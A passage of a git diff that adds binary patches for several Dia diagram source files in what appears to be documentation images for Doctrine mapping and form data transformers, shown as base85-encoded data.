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
E07VTCdH?_b

literal 0
HcmV?d00001

diff --git a/_images/sources/doctrine/mapping_relations_proxy.dia b/_images/sources/doctrine/mapping_relations_proxy.dia
new file mode 100644
index 0000000000000000000000000000000000000000..1f491e9e2ef2dd202818a4be72c529b28cfc69ac
GIT binary patch
literal 3844
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
G;{X8Da;T#K

literal 0
HcmV?d00001

diff --git a/_images/sources/doctrine/mapping_single_entity.dia b/_images/sources/doctrine/mapping_single_entity.dia
new file mode 100644
index 0000000000000000000000000000000000000000..5a9dc21889ca40d933a984fa7110b00d849df3ae
GIT binary patch
literal 2338
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
IX&Yw%0G}e1E&u=k

literal 0
HcmV?d00001

diff --git a/_images/sources/form/data-transformer-types.dia b/_images/sources/form/data-transformer-types.dia
new file mode 100644
index 0000000000000000000000000000000000000000..972b973a36d18d47f858643b018a65c3324253e4
GIT binary patch
literal 2007
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

literal 0
HcmV?d00001

diff --git a/_images/sources/form/form_prepopulation_workflow.dia b/_images/sources/form/form_prepopulation_workflow.dia
new file mode 100644
index 0000000000000000000000000000000000000000..1d6d450fed1115887191512c4aab032eb9dbb77d
GIT binary patch
literal 1680
zcmV;B25<QviwFP!000021MOQ|bJ{o*e$TJ)xcjg>1ICi&TWQj1x9!tz+u5+sjEn_n
zYivdqA@pH?`%2h>U~KRO(@fXSK*o-IKHbju9i2#T-aak@<$<u6M&YdrG+k9lIEj23
z&TiGeN1ytR`u6VTjZg7w@tHBaP{bQyEbngBIp@pQgTZ>e)`CrpdBn7UuC$m8{>4Fn
z2cpnGy}MDA=LUStv3!<3#hf$htvFFaydbx#hbP}=ELw%Wnv_b*O`;%T$^#B=)mPK>
zQU|G_!GWa{)|YrjJVx-hV&l5FT(_R_C1F{^i)9p3QG{=nM@0(k$nR%m(o(S~6wdBm
zy+f~(Dy0whw(=@k2*MYb&1iUxBYG!Dx&mqrgz%{!szZ3~Lj>(Zu=XKnJYGhOGfeq0
zj2A@#!C`{L*^1Q1i6=M^Q|44tKz-{|%6W9A{!<*pWg3t?-g!?|Pn<F8pLWE95(QTL
zjrdI`tq#eW`g}fqY-vam>zkIWKhT(Z0m-X94f(~)Z!Tj#I|H_yzkj{qj7zK)ii+<L
zlbCfxWwxR|iFfZ678#$Zfv!)d@>9JAK8=?F-kkQQY@q^MIOJ4t5RQp|A*Lvzx)3k>
